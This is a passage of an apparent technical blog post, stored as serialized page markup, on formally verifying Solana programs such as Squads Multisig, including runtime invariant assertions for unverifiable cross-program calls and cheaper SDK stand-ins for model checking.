}\n",[33427],{"type":24,"tag":80,"props":33428,"children":33429},{"__ignoreMap":7},[33430,33437,33460,33511,33518],{"type":24,"tag":147,"props":33431,"children":33432},{"class":149,"line":150},[33433],{"type":24,"tag":147,"props":33434,"children":33435},{"style":235},[33436],{"type":29,"value":26380},{"type":24,"tag":147,"props":33438,"children":33439},{"class":149,"line":160},[33440,33444,33448,33452,33456],{"type":24,"tag":147,"props":33441,"children":33442},{"style":235},[33443],{"type":29,"value":30330},{"type":24,"tag":147,"props":33445,"children":33446},{"style":241},[33447],{"type":29,"value":87},{"type":24,"tag":147,"props":33449,"children":33450},{"style":235},[33451],{"type":29,"value":26673},{"type":24,"tag":147,"props":33453,"children":33454},{"style":241},[33455],{"type":29,"value":15564},{"type":24,"tag":147,"props":33457,"children":33458},{"style":235},[33459],{"type":29,"value":26682},{"type":24,"tag":147,"props":33461,"children":33462},{"class":149,"line":169},[33463,33467,33471,33475,33479,33483,33487,33491,33495,33499,33503,33507],{"type":24,"tag":147,"props":33464,"children":33465},{"style":241},[33466],{"type":29,"value":21233},{"type":24,"tag":147,"props":33468,"children":33469},{"style":235},[33470],{"type":29,"value":26606},{"type":24,"tag":147,"props":33472,"children":33473},{"style":241},[33474],{"type":29,"value":87},{"type":24,"tag":147,"props":33476,"children":33477},{"style":235},[33478],{"type":29,"value":26673},{"type":24,"tag":147,"props":33480,"children":33481},{"style":218},[33482],{"type":29,"value":14467},{"type":24,"tag":147,"props":33484,"children":33485},{"style":9044},[33486],{"type":29,"value":19348},{"type":24,"tag":147,"props":33488,"children":33489},{"style":241},[33490],{"type":29,"value":13823},{"type":24,"tag":147,"props":33492,"children":33493},{"style":235},[33494],{"type":29,"value":19413},{"type":24,"tag":147,"props":33496,"children":33497},{"style":241},[33498],{"type":29,"value":87},{"type":24,"tag":147,"props":33500,"children":33501},{"style":235},[33502],{"type":29,"value":26585},{"type":24,"tag":147,"props":33504,"children":33505},{"style":241},[33506],{"type":29,"value":87},{"type":24,"tag":147,"props":33508,"children":33509},{"style":235},[33510],{"type":29,"value":26734},{"type":24,"tag":147,"props":33512,"children":33513},{"class":149,"line":178},[33514],{"type":24,"tag":147,"props":33515,"children":33516},{"style":235},[33517],{"type":29,"value":25862},{"type":24,"tag":147,"props":33519,"children":33520},{"class":149,"line":187},[33521,33525,33529,33533,33537,33541],{"type":24,"tag":147,"props":33522,"children":33523},{"style":218},[33524],{"type":29,"value":19307},{"type":24,"tag":147,"props":33526,"children":33527},{"style":218},[33528],{"type":29,"value":26753},{"type":24,"tag":147,"props":33530,"children":33531},{"style":9044},[33532],{"type":29,"value":26758},{"type":24,"tag":147,"props":33534,"children":33535},{"style":235},[33536],{"type":29,"value":15207},{"type":24,"tag":147,"props":33538,"children":33539},{"style":241},[33540],{"type":29,"value":15212},{"type":24,"tag":147,"props":33542,"children":33543},{"style":235},[33544],{"type":29,"value":15217},{"type":24,"tag":25,"props":33546,"children":33547},{},[33548,33550,33556,33558,33564],{"type":29,"value":33549},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":80,"props":33551,"children":33553},{"className":33552},[],[33554],{"type":29,"value":33555},"keys.len() == 0",{"type":29,"value":33557}," and allows us to prove the biconditional ",{"type":24,"tag":80,"props":33559,"children":33561},{"className":33560},[],[33562],{"type":29,"value":33563},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":87},{"type":24,"tag":43,"props":33566,"children":33568},{"id":33567},"safety-guarantees",[33569],{"type":29,"value":28386},{"type":24,"tag":25,"props":33571,"children":33572},{},[33573],{"type":29,"value":33574},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":25,"props":33576,"children":33577},{},[33578],{"type":29,"value":33579},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":25,"props":33581,"children":33582},{},[33583,33585,33591],{"type":29,"value":33584},"In the multisig program this happens in the ",{"type":24,"tag":80,"props":33586,"children":33588},{"className":33587},[],[33589],{"type":29,"value":33590},"execute_transaction",{"type":29,"value":33592}," instruction.",{"type":24,"tag":25,"props":33594,"children":33595},{},[33596],{"type":24,"tag":8545,"props":33597,"children":33598},{},[33599],{"type":29,"value":33600},"So what do you do?",{"type":24,"tag":25,"props":33602,"children":33603},{},[33604],{"type":29,"value":33605},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":137,"props":33607,"children":33609},{"code":33608,"language":8613,"meta":7,"className":8614,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[33610],{"type":24,"tag":80,"props":33611,"children":33612},{"__ignoreMap":7},[33613,33628,33644,33659,33700,33707,33714,33721,33738,33754,33775,33782,33789,33805,33825,33853,33860,33867,33874,33882,33935,33961,33968,33997,34021,34056,34063,34074],{"type":24,"tag":147,"props":33614,"children":33615},{"class":149,"line":150},[33616,33620,33624],{"type":24,"tag":147,"props":33617,"children":33618},{"style":235},[33619],{"type":29,"value":28439},{"type":24,"tag":147,"props":33621,"children":33622},{"style":9044},[33623],{"type":29,"value":28444},{"type":24,"tag":147,"props":33625,"children":33626},{"style":235},[33627],{"type":29,"value":25862},{"type":24,"tag":147,"props":33629,"children":33630},{"class":149,"line":160},[33631,33635,33640],{"type":24,"tag":147,"props":33632,"children":33633},{"style":218},[33634],{"type":29,"value":19307},{"type":24,"tag":147,"props":33636,"children":33637},{"style":9044},[33638],{"type":29,"value":33639}," MyCtx",{"type":24,"tag":147,"props":33641,"children":33642},{"style":235},[33643],{"type":29,"value":6630},{"type":24,"tag":147,"props":33645,"children":33646},{"class":149,"line":169},[33647,33651,33655],{"type":24,"tag":147,"props":33648,"children":33649},{"style":235},[33650],{"type":29,"value":28731},{"type":24,"tag":147,"props":33652,"children":33653},{"style":218},[33654],{"type":29,"value":9348},{"type":24,"tag":147,"props":33656,"children":33657},{"style":235},[33658],{"type":29,"value":25862},{"type":24,"tag":147,"props":33660,"children":33661},{"class":149,"line":178},[33662,33666,33671,33675,33679,33683,33687,33691,33696],{"type":24,"tag":147,"props":33663,"children":33664},{"style":218},[33665],{"type":29,"value":26445},{"type":24,"tag":147,"props":33667,"children":33668},{"style":247},[33669],{"type":29,"value":33670}," my_account",{"type":24,"tag":147,"props":33672,"children":33673},{"style":241},[33674],{"type":29,"value":978},{"type":24,"tag":147,"props":33676,"children":33677},{"style":9044},[33678],{"type":29,"value":28696},{"type":24,"tag":147,"props":33680,"children":33681},{"style":235},[33682],{"type":29,"value":28524},{"type":24,"tag":147,"props":33684,"children":33685},{"style":9044},[33686],{"type":29,"value":28529},{"type":24,"tag":147,"props":33688,"children":33689},{"style":235},[33690],{"type":29,"value":546},{"type":24,"tag":147,"props":33692,"children":33693},{"style":9044},[33694],{"type":29,"value":33695},"Acc",{"type":24,"tag":147,"props":33697,"children":33698},{"style":235},[33699],{"type":29,"value":11617},{"type":24,"tag":147,"props":33701,"children":33702},{"class":149,"line":187},[33703],{"type":24,"tag":147,"props":33704,"children":33705},{"style":235},[33706],{"type":29,"value":827},{"type":24,"tag":147,"props":33708,"children":33709},{"class":149,"line":196},[33710],{"type":24,"tag":147,"props":33711,"children":33712},{"emptyLinePlaceholder":16},[33713],{"type":29,"value":314},{"type":24,"tag":147,"props":33715,"children":33716},{"class":149,"line":205},[33717],{"type":24,"tag":147,"props":33718,"children":33719},{"style":235},[33720],{"type":29,"value":26372},{"type":24,"tag":147,"props":33722,"children":33723},{"class":149,"line":214},[33724,33729,33733],{"type":24,"tag":147,"props":33725,"children":33726},{"style":235},[33727],{"type":29,"value":33728},"#[invariant(bad ",{"type":24,"tag":147,"props":33730,"children":33731},{"style":241},[33732],{"type":29,"value":6600},{"type":24,"tag":147,"props":33734,"children":33735},{"style":235},[33736],{"type":29,"value":33737}," false)]\n",{"type":24,"tag":147,"props":33739,"children":33740},{"class":149,"line":272},[33741,33745,33750],{"type":24,"tag":147,"props":33742,"children":33743},{"style":218},[33744],{"type":29,"value":993},{"type":24,"tag":147,"props":33746,"children":33747},{"style":9044},[33748],{"type":29,"value":33749}," Acc",{"type":24,"tag":147,"props":33751,"children":33752},{"style":235},[33753],{"type":29,"value":6630},{"type":24,"tag":147,"props":33755,"children":33756},{"class":149,"line":281},[33757,33761,33766,33770],{"type":24,"tag":147,"props":33758,"children":33759},{"style":218},[33760],{"type":29,"value":26445},{"type":24,"tag":147,"props":33762,"children":33763},{"style":247},[33764],{"type":29,"value":33765}," bad",{"type":24,"tag":147,"props":33767,"children":33768},{"style":241},[33769],{"type":29,"value":978},{"type":24,"tag":147,"props":33771,"children":33772},{"style":9044},[33773],{"type":29,"value":33774}," bool\n",{"type":24,"tag":147,"props":33776,"children":33777},{"class":149,"line":299},[33778],{"type":24,"tag":147,"props":33779,"children":33780},{"style":235},[33781],{"type":29,"value":827},{"type":24,"tag":147,"props":33783,"children":33784},{"class":149,"line":308},[33785],{"type":24,"tag":147,"props":33786,"children":33787},{"emptyLinePlaceholder":16},[33788],{"type":29,"value":314},{"type":24,"tag":147,"props":33790,"children":33791},{"class":149,"line":317},[33792,33797,33801],{"type":24,"tag":147,"props":33793,"children":33794},{"style":218},[33795],{"type":29,"value":33796},"impl",{"type":24,"tag":147,"props":33798,"children":33799},{"style":9044},[33800],{"type":29,"value":33749},{"type":24,"tag":147,"props":33802,"children":33803},{"style":235},[33804],{"type":29,"value":6630},{"type":24,"tag":147,"props":33806,"children":33807},{"class":149,"line":332},[33808,33812,33816,33821],{"type":24,"tag":147,"props":33809,"children":33810},{"style":218},[33811],{"type":29,"value":26445},{"type":24,"tag":147,"props":33813,"children":33814},{"style":218},[33815],{"type":29,"value":19312},{"type":24,"tag":147,"props":33817,"children":33818},{"style":229},[33819],{"type":29,"value":33820}," put_into_bad_state",{"type":24,"tag":147,"props":33822,"children":33823},{"style":235},[33824],{"type":29,"value":21347},{"type":24,"tag":147,"props":33826,"children":33827},{"class":149,"line":350},[33828,33832,33836,33841,33845,33849],{"type":24,"tag":147,"props":33829,"children":33830},{"style":218},[33831],{"type":29,"value":32961},{"type":24,"tag":147,"props":33833,"children":33834},{"style":241},[33835],{"type":29,"value":87},{"type":24,"tag":147,"props":33837,"children":33838},{"style":235},[33839],{"type":29,"value":33840},"bad ",{"type":24,"tag":147,"props":33842,"children":33843},{"style":241},[33844],{"type":29,"value":369},{"type":24,"tag":147,"props":33846,"children":33847},{"style":218},[33848],{"type":29,"value":18087},{"type":24,"tag":147,"props":33850,"children":33851},{"style":235},[33852],{"type":29,"value":432},{"type":24,"tag":147,"props":33854,"children":33855},{"class":149,"line":358},[33856],{"type":24,"tag":147,"props":33857,"children":33858},{"style":235},[33859],{"type":29,"value":1952},{"type":24,"tag":147,"props":33861,"children":33862},{"class":149,"line":397},[33863],{"type":24,"tag":147,"props":33864,"children":33865},{"style":235},[33866],{"type":29,"value":827},{"type":24,"tag":147,"props":33868,"children":33869},{"class":149,"line":421},[33870],{"type":24,"tag":147,"props":33871,"children":33872},{"emptyLinePlaceholder":16},[33873],{"type":29,"value":314},{"type":24,"tag":147,"props":33875,"children":33876},{"class":149,"line":435},[33877],{"type":24,"tag":147,"props":33878,"children":33879},{"style":154},[33880],{"type":29,"value":33881},"// Instruction handler:\n",{"type":24,"tag":147,"props":33883,"children":33884},{"class":149,"line":444},[33885,33889,33894,33898,33902,33906,33910,33914,33919,33923,33927,33931],{"type":24,"tag":147,"props":33886,"children":33887},{"style":218},[33888],{"type":29,"value":25870},{"type":24,"tag":147,"props":33890,"children":33891},{"style":229},[33892],{"type":29,"value":33893}," hard_to_verify",{"type":24,"tag":147,"props":33895,"children":33896},{"style":235},[33897],{"type":29,"value":480},{"type":24,"tag":147,"props":33899,"children":33900},{"style":247},[33901],{"type":29,"value":25884},{"type":24,"tag":147,"props":33903,"children":33904},{"style":241},[33905],{"type":29,"value":978},{"type":24,"tag":147,"props":33907,"children":33908},{"style":9044},[33909],{"type":29,"value":25893},{"type":24,"tag":147,"props":33911,"children":33912},{"style":235},[33913],{"type":29,"value":3583},{"type":24,"tag":147,"props":33915,"children":33916},{"style":9044},[33917],{"type":29,"value":33918},"MyCtx",{"type":24,"tag":147,"props":33920,"children":33921},{"style":235},[33922],{"type":29,"value":26050},{"type":24,"tag":147,"props":33924,"children":33925},{"style":241},[33926],{"type":29,"value":495},{"type":24,"tag":147,"props":33928,"children":33929},{"style":9044},[33930],{"type":29,"value":19378},{"type":24,"tag":147,"props":33932,"children":33933},{"style":235},[33934],{"type":29,"value":25935},{"type":24,"tag":147,"props":33936,"children":33937},{"class":149,"line":452},[33938,33943,33947,33951,33956],{"type":24,"tag":147,"props":33939,"children":33940},{"style":229},[33941],{"type":29,"value":33942},"    invoke_signed",{"type":24,"tag":147,"props":33944,"children":33945},{"style":235},[33946],{"type":29,"value":480},{"type":24,"tag":147,"props":33948,"children":33949},{"style":241},[33950],{"type":29,"value":15212},{"type":24,"tag":147,"props":33952,"children":33953},{"style":235},[33954],{"type":29,"value":33955},"); ",{"type":24,"tag":147,"props":33957,"children":33958},{"style":154},[33959],{"type":29,"value":33960},"// Cross-program invocation\n",{"type":24,"tag":147,"props":33962,"children":33963},{"class":149,"line":461},[33964],{"type":24,"tag":147,"props":33965,"children":33966},{"emptyLinePlaceholder":16},[33967],{"type":29,"value":314},{"type":24,"tag":147,"props":33969,"children":33970},{"class":149,"line":469},[33971,33975,33980,33984,33988,33992],{"type":24,"tag":147,"props":33972,"children":33973},{"style":218},[33974],{"type":29,"value":8634},{"type":24,"tag":147,"props":33976,"children":33977},{"style":247},[33978],{"type":29,"value":33979}," invoke_res",{"type":24,"tag":147,"props":33981,"children":33982},{"style":241},[33983],{"type":29,"value":651},{"type":24,"tag":147,"props":33985,"children":33986},{"style":241},[33987],{"type":29,"value":30900},{"type":24,"tag":147,"props":33989,"children":33990},{"style":235},[33991],{"type":29,"value":22832},{"type":24,"tag":147,"props":33993,"children":33994},{"style":154},[33995],{"type":29,"value":33996},"// fetch result of invocation\n",{"type":24,"tag":147,"props":33998,"children":33999},{"class":149,"line":508},[34000,34004,34008,34012,34017],{"type":24,"tag":147,"props":34001,"children":34002},{"style":321},[34003],{"type":29,"value":4759},{"type":24,"tag":147,"props":34005,"children":34006},{"style":247},[34007],{"type":29,"value":33979},{"type":24,"tag":147,"props":34009,"children":34010},{"style":241},[34011],{"type":29,"value":8911},{"type":24,"tag":147,"props":34013,"children":34014},{"style":705},[34015],{"type":29,"value":34016}," 5",{"type":24,"tag":147,"props":34018,"children":34019},{"style":235},[34020],{"type":29,"value":6630},{"type":24,"tag":147,"props":34022,"children":34023},{"class":149,"line":572},[34024,34028,34032,34037,34041,34046,34051],{"type":24,"tag":147,"props":34025,"children":34026},{"style":247},[34027],{"type":29,"value":31787},{"type":24,"tag":147,"props":34029,"children":34030},{"style":241},[34031],{"type":29,"value":87},{"type":24,"tag":147,"props":34033,"children":34034},{"style":235},[34035],{"type":29,"value":34036},"my_account",{"type":24,"tag":147,"props":34038,"children":34039},{"style":241},[34040],{"type":29,"value":87},{"type":24,"tag":147,"props":34042,"children":34043},{"style":229},[34044],{"type":29,"value":34045},"put_into_bad_state",{"type":24,"tag":147,"props":34047,"children":34048},{"style":235},[34049],{"type":29,"value":34050},"(); ",{"type":24,"tag":147,"props":34052,"children":34053},{"style":154},[34054],{"type":29,"value":34055},"// corrupt our account\n",{"type":24,"tag":147,"props":34057,"children":34058},{"class":149,"line":591},[34059],{"type":24,"tag":147,"props":34060,"children":34061},{"style":235},[34062],{"type":29,"value":1952},{"type":24,"tag":147,"props":34064,"children":34065},{"class":149,"line":632},[34066,34070],{"type":24,"tag":147,"props":34067,"children":34068},{"style":9044},[34069],{"type":29,"value":19947},{"type":24,"tag":147,"props":34071,"children":34072},{"style":235},[34073],{"type":29,"value":19952},{"type":24,"tag":147,"props":34075,"children":34076},{"class":149,"line":659},[34077],{"type":24,"tag":147,"props":34078,"children":34079},{"style":235},[34080],{"type":29,"value":827},{"type":24,"tag":25,"props":34082,"children":34083},{},[34084,34086,34091],{"type":29,"value":34085},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":80,"props":34087,"children":34089},{"className":34088},[],[34090],{"type":29,"value":34036},{"type":29,"value":34092},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":25,"props":34094,"children":34095},{},[34096],{"type":29,"value":34097},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":25,"props":34099,"children":34100},{},[34101,34103,34108],{"type":29,"value":34102},"However, we can ",{"type":24,"tag":8545,"props":34104,"children":34105},{},[34106],{"type":29,"value":34107},"augment",{"type":29,"value":34109}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":25,"props":34111,"children":34112},{},[34113],{"type":29,"value":34114},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":137,"props":34116,"children":34118},{"code":34117,"language":8613,"meta":7,"className":8614,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[34119],{"type":24,"tag":80,"props":34120,"children":34121},{"__ignoreMap":7},[34122,34130,34181,34204,34211,34238,34261,34292,34299,34306,34314,34349,34356,34367],{"type":24,"tag":147,"props":34123,"children":34124},{"class":149,"line":150},[34125],{"type":24,"tag":147,"props":34126,"children":34127},{"style":241},[34128],{"type":29,"value":34129},"...\n",{"type":24,"tag":147,"props":34131,"children":34132},{"class":149,"line":160},[34133,34137,34141,34145,34149,34153,34157,34161,34165,34169,34173,34177],{"type":24,"tag":147,"props":34134,"children":34135},{"style":218},[34136],{"type":29,"value":25870},{"type":24,"tag":147,"props":34138,"children":34139},{"style":229},[34140],{"type":29,"value":33893},{"type":24,"tag":147,"props":34142,"children":34143},{"style":235},[34144],{"type":29,"value":480},{"type":24,"tag":147,"props":34146,"children":34147},{"style":247},[34148],{"type":29,"value":25884},{"type":24,"tag":147,"props":34150,"children":34151},{"style":241},[34152],{"type":29,"value":978},{"type":24,"tag":147,"props":34154,"children":34155},{"style":9044},[34156],{"type":29,"value":25893},{"type":24,"tag":147,"props":34158,"children":34159},{"style":235},[34160],{"type":29,"value":3583},{"type":24,"tag":147,"props":34162,"children":34163},{"style":9044},[34164],{"type":29,"value":33918},{"type":24,"tag":147,"props":34166,"children":34167},{"style":235},[34168],{"type":29,"value":26050},{"type":24,"tag":147,"props":34170,"children":34171},{"style":241},[34172],{"type":29,"value":495},{"type":24,"tag":147,"props":34174,"children":34175},{"style":9044},[34176],{"type":29,"value":19378},{"type":24,"tag":147,"props":34178,"children":34179},{"style":235},[34180],{"type":29,"value":25935},{"type":24,"tag":147,"props":34182,"children":34183},{"class":149,"line":169},[34184,34188,34192,34196,34200],{"type":24,"tag":147,"props":34185,"children":34186},{"style":229},[34187],{"type":29,"value":33942},{"type":24,"tag":147,"props":34189,"children":34190},{"style":235},[34191],{"type":29,"value":480},{"type":24,"tag":147,"props":34193,"children":34194},{"style":241},[34195],{"type":29,"value":15212},{"type":24,"tag":147,"props":34197,"children":34198},{"style":235},[34199],{"type":29,"value":33955},{"type":24,"tag":147,"props":34201,"children":34202},{"style":154},[34203],{"type":29,"value":33960},{"type":24,"tag":147,"props":34205,"children":34206},{"class":149,"line":178},[34207],{"type":24,"tag":147,"props":34208,"children":34209},{"emptyLinePlaceholder":16},[34210],{"type":29,"value":314},{"type":24,"tag":147,"props":34212,"children":34213},{"class":149,"line":187},[34214,34218,34222,34226,34230,34234],{"type":24,"tag":147,"props":34215,"children":34216},{"style":218},[34217],{"type":29,"value":8634},{"type":24,"tag":147,"props":34219,"children":34220},{"style":247},[34221],{"type":29,"value":33979},{"type":24,"tag":147,"props":34223,"children":34224},{"style":241},[34225],{"type":29,"value":651},{"type":24,"tag":147,"props":34227,"children":34228},{"style":241},[34229],{"type":29,"value":30900},{"type":24,"tag":147,"props":34231,"children":34232},{"style":235},[34233],{"type":29,"value":22832},{"type":24,"tag":147,"props":34235,"children":34236},{"style":154},[34237],{"type":29,"value":33996},{"type":24,"tag":147,"props":34239,"children":34240},{"class":149,"line":196},[34241,34245,34249,34253,34257],{"type":24,"tag":147,"props":34242,"children":34243},{"style":321},[34244],{"type":29,"value":4759},{"type":24,"tag":147,"props":34246,"children":34247},{"style":247},[34248],{"type":29,"value":33979},{"type":24,"tag":147,"props":34250,"children":34251},{"style":241},[34252],{"type":29,"value":8911},{"type":24,"tag":147,"props":34254,"children":34255},{"style":705},[34256],{"type":29,"value":34016},{"type":24,"tag":147,"props":34258,"children":34259},{"style":235},[34260],{"type":29,"value":6630},{"type":24,"tag":147,"props":34262,"children":34263},{"class":149,"line":205},[34264,34268,34272,34276,34280,34284,34288],{"type":24,"tag":147,"props":34265,"children":34266},{"style":247},[34267],{"type":29,"value":31787},{"type":24,"tag":147,"props":34269,"children":34270},{"style":241},[34271],{"type":29,"value":87},{"type":24,"tag":147,"props":34273,"children":34274},{"style":235},[34275],{"type":29,"value":34036},{"type":24,"tag":147,"props":34277,"children":34278},{"style":241},[34279],{"type":29,"value":87},{"type":24,"tag":147,"props":34281,"children":34282},{"style":229},[34283],{"type":29,"value":34045},{"type":24,"tag":147,"props":34285,"children":34286},{"style":235},[34287],{"type":29,"value":34050},{"type":24,"tag":147,"props":34289,"children":34290},{"style":154},[34291],{"type":29,"value":34055},{"type":24,"tag":147,"props":34293,"children":34294},{"class":149,"line":214},[34295],{"type":24,"tag":147,"props":34296,"children":34297},{"style":235},[34298],{"type":29,"value":1952},{"type":24,"tag":147,"props":34300,"children":34301},{"class":149,"line":272},[34302],{"type":24,"tag":147,"props":34303,"children":34304},{"emptyLinePlaceholder":16},[34305],{"type":29,"value":314},{"type":24,"tag":147,"props":34307,"children":34308},{"class":149,"line":281},[34309],{"type":24,"tag":147,"props":34310,"children":34311},{"style":154},[34312],{"type":29,"value":34313},"    // Enforce invariants at runtime\n",{"type":24,"tag":147,"props":34315,"children":34316},{"class":149,"line":299},[34317,34321,34325,34329,34333,34337,34341,34345],{"type":24,"tag":147,"props":34318,"children":34319},{"style":229},[34320],{"type":29,"value":24844},{"type":24,"tag":147,"props":34322,"children":34323},{"style":235},[34324],{"type":29,"value":480},{"type":24,"tag":147,"props":34326,"children":34327},{"style":247},[34328],{"type":29,"value":25884},{"type":24,"tag":147,"props":34330,"children":34331},{"style":241},[34332],{"type":29,"value":87},{"type":24,"tag":147,"props":34334,"children":34335},{"style":235},[34336],{"type":29,"value":34036},{"type":24,"tag":147,"props":34338,"children":34339},{"style":241},[34340],{"type":29,"value":87},{"type":24,"tag":147,"props":34342,"children":34343},{"style":229},[34344],{"type":29,"value":27380},{"type":24,"tag":147,"props":34346,"children":34347},{"style":235},[34348],{"type":29,"value":21037},{"type":24,"tag":147,"props":34350,"children":34351},{"class":149,"line":308},[34352],{"type":24,"tag":147,"props":34353,"children":34354},{"emptyLinePlaceholder":16},[34355],{"type":29,"value":314},{"type":24,"tag":147,"props":34357,"children":34358},{"class":149,"line":317},[34359,34363],{"type":24,"tag":147,"props":34360,"children":34361},{"style":9044},[34362],{"type":29,"value":19947},{"type":24,"tag":147,"props":34364,"children":34365},{"style":235},[34366],{"type":29,"value":19952},{"type":24,"tag":147,"props":34368,"children":34369},{"class":149,"line":332},[34370],{"type":24,"tag":147,"props":34371,"children":34372},{"style":235},[34373],{"type":29,"value":827},{"type":24,"tag":25,"props":34375,"children":34376},{},[34377,34379,34384,34386,34391,34393,34398],{"type":29,"value":34378},"Here, we explicitly ",{"type":24,"tag":80,"props":34380,"children":34382},{"className":34381},[],[34383],{"type":29,"value":25587},{"type":29,"value":34385}," that our invariants hold at ",{"type":24,"tag":8545,"props":34387,"children":34388},{},[34389],{"type":29,"value":34390},"runtime",{"type":29,"value":34392}," which allows us to be assured that ",{"type":24,"tag":80,"props":34394,"children":34396},{"className":34395},[],[34397],{"type":29,"value":34036},{"type":29,"value":34399}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":25,"props":34401,"children":34402},{},[34403],{"type":29,"value":34404},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":32,"props":34406,"children":34408},{"id":34407},"challenges-of-formal-verification-on-solana",[34409],{"type":29,"value":34410},"Challenges of formal verification on Solana",{"type":24,"tag":43,"props":34412,"children":34414},{"id":34413},"expensive-computation",[34415],{"type":29,"value":34416},"Expensive computation",{"type":24,"tag":25,"props":34418,"children":34419},{},[34420,34422,34427],{"type":29,"value":34421},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":8545,"props":34423,"children":34424},{},[34425],{"type":29,"value":34426},"path explosion",{"type":29,"value":34428},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":25,"props":34430,"children":34431},{},[34432,34434,34439],{"type":29,"value":34433},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":8545,"props":34435,"children":34436},{},[34437],{"type":29,"value":34438},"formal verification friendly",{"type":29,"value":34440},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":25,"props":34442,"children":34443},{},[34444,34446,34451,34453,34458],{"type":29,"value":34445},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":80,"props":34447,"children":34449},{"className":34448},[],[34450],{"type":29,"value":27000},{"type":29,"value":34452}," in a ",{"type":24,"tag":80,"props":34454,"children":34456},{"className":34455},[],[34457],{"type":29,"value":22816},{"type":29,"value":34459},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":25,"props":34461,"children":34462},{},[34463,34465,34470,34472,34477,34479,34484,34486,34491,34493,34498,34500,34505],{"type":29,"value":34464},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":80,"props":34466,"children":34468},{"className":34467},[],[34469],{"type":29,"value":22816},{"type":29,"value":34471}," or a 32-byte ",{"type":24,"tag":80,"props":34473,"children":34475},{"className":34474},[],[34476],{"type":29,"value":27000},{"type":29,"value":34478},". Instead, our tool can substitute in ",{"type":24,"tag":8545,"props":34480,"children":34481},{},[34482],{"type":29,"value":34483},"cheaper",{"type":29,"value":34485}," types and functions, such as a 4-byte ",{"type":24,"tag":80,"props":34487,"children":34489},{"className":34488},[],[34490],{"type":29,"value":27000},{"type":29,"value":34492}," struct and a fixed-size, array-backed ",{"type":24,"tag":80,"props":34494,"children":34496},{"className":34495},[],[34497],{"type":29,"value":22816},{"type":29,"value":34499}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":8545,"props":34501,"children":34502},{},[34503],{"type":29,"value":34504},"much",{"type":29,"value":34506}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":25,"props":34508,"children":34509},{},[34510],{"type":29,"value":34511},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":24,"tag":43,"props":34513,"children":34515},{"id":34514},"runtime-environment",[34516],{"type":29,"value":34517},"Runtime Environment",{"type":24,"tag":25,"props":34519,"children":34520},{},[34521],{"type":29,"value":34522},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":25,"props":34524,"children":34525},{},[34526],{"type":29,"value":34527},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":25,"props":34529,"children":34530},{},[34531],{"type":29,"value":34532},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":32,"props":34534,"children":34535},{"id":8458},[34536],{"type":29,"value":8461},{"type":24,"tag":25,"props":34538,"children":34539},{},[34540],{"type":29,"value":34541},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":25,"props":34543,"children":34544},{},[34545],{"type":29,"value":34546},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly 